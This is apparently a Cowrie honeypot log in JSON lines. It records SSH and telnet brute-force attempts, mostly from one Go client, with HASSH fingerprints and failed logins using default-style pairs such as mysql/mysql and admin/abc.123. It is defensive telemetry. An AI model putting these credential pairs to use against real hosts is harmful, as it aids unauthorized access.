{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:27.175432Z","src_ip":"192.109.200.78","session":"e6769814fe83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:27.432973Z","src_ip":"192.109.200.78","session":"e6769814fe83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:28.517599Z","src_ip":"192.109.200.78","session":"e6769814fe83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44934,"dst_ip":"10.17.0.5","dst_port":22,"session":"a50874a85bfb","protocol":"ssh","message":"New connection: 192.109.200.78:44934 (10.17.0.5:22) [session: a50874a85bfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:30.305458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:30.310483Z","src_ip":"192.109.200.78","session":"a50874a85bfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:30.403869Z","src_ip":"192.109.200.78","session":"a50874a85bfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:30.965074Z","src_ip":"192.109.200.78","session":"a50874a85bfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:32.051117Z","src_ip":"192.109.200.78","session":"a50874a85bfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44950,"dst_ip":"10.17.0.5","dst_port":22,"session":"325d0f0f8b6a","protocol":"ssh","message":"New connection: 192.109.200.78:44950 (10.17.0.5:22) [session: 325d0f0f8b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:34.433120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:34.437032Z","src_ip":"192.109.200.78","session":"325d0f0f8b6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:34.948617Z","src_ip":"192.109.200.78","session":"325d0f0f8b6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz@WSX","message":"login attempt [user/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:35.337041Z","src_ip":"192.109.200.78","session":"325d0f0f8b6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:36.729189Z","src_ip":"192.109.200.78","session":"325d0f0f8b6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33868,"dst_ip":"10.17.0.5","dst_port":22,"session":"280574b07ab2","protocol":"ssh","message":"New connection: 192.109.200.78:33868 (10.17.0.5:22) [session: 280574b07ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:38.636746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:38.644710Z","src_ip":"192.109.200.78","session":"280574b07ab2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:38.726539Z","src_ip":"192.109.200.78","session":"280574b07ab2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:38.986312Z","src_ip":"192.109.200.78","session":"280574b07ab2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:40.076823Z","src_ip":"192.109.200.78","session":"280574b07ab2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.35735535621643,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:41.503163Z","src_ip":"5.42.229.203","session":"c73cf79b21b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.358930587768555,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:41.508764Z","src_ip":"5.42.229.203","session":"b0be72ce53f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33882,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bec81b6a8f9","protocol":"ssh","message":"New connection: 192.109.200.78:33882 (10.17.0.5:22) [session: 4bec81b6a8f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:42.742100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:42.746033Z","src_ip":"192.109.200.78","session":"4bec81b6a8f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:42.828569Z","src_ip":"192.109.200.78","session":"4bec81b6a8f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:43.087732Z","src_ip":"192.109.200.78","session":"4bec81b6a8f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:44.177698Z","src_ip":"192.109.200.78","session":"4bec81b6a8f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33884,"dst_ip":"10.17.0.5","dst_port":22,"session":"78d38492dfca","protocol":"ssh","message":"New connection: 192.109.200.78:33884 (10.17.0.5:22) [session: 78d38492dfca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:46.892753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:46.898732Z","src_ip":"192.109.200.78","session":"78d38492dfca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:46.983389Z","src_ip":"192.109.200.78","session":"78d38492dfca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Aa123456","message":"login attempt [user/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:47.230439Z","src_ip":"192.109.200.78","session":"78d38492dfca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:48.316244Z","src_ip":"192.109.200.78","session":"78d38492dfca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57412,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d894a48a929","protocol":"ssh","message":"New connection: 159.203.92.129:57412 (159.203.135.109:22) [session: 1d894a48a929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:48.571585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:48.576589Z","src_ip":"159.203.92.129","session":"1d894a48a929","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:48.581710Z","src_ip":"159.203.92.129","session":"1d894a48a929","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc.123","message":"login attempt [admin/abc.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:48.595506Z","src_ip":"159.203.92.129","session":"1d894a48a929","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:49.602575Z","src_ip":"159.203.92.129","session":"1d894a48a929","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53490,"dst_ip":"10.17.0.5","dst_port":22,"session":"da7de6e94c4b","protocol":"ssh","message":"New connection: 192.109.200.78:53490 (10.17.0.5:22) [session: da7de6e94c4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:50.919142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:50.923486Z","src_ip":"192.109.200.78","session":"da7de6e94c4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:51.010614Z","src_ip":"192.109.200.78","session":"da7de6e94c4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpuadmin","password":"gpuadmin","message":"login attempt [gpuadmin/gpuadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:51.259126Z","src_ip":"192.109.200.78","session":"da7de6e94c4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:52.343894Z","src_ip":"192.109.200.78","session":"da7de6e94c4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00210976600647,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:52.911420Z","src_ip":"216.131.72.138","session":"4cb439878fd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.131.72.138","src_port":36850,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1c4a9e8e1c3","protocol":"telnet","message":"New connection: 216.131.72.138:36850 (159.203.135.109:23) [session: f1c4a9e8e1c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:53.036610Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53520,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb11a3ad5786","protocol":"ssh","message":"New connection: 192.109.200.78:53520 (10.17.0.5:22) [session: fb11a3ad5786]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:45:55.138314Z"}
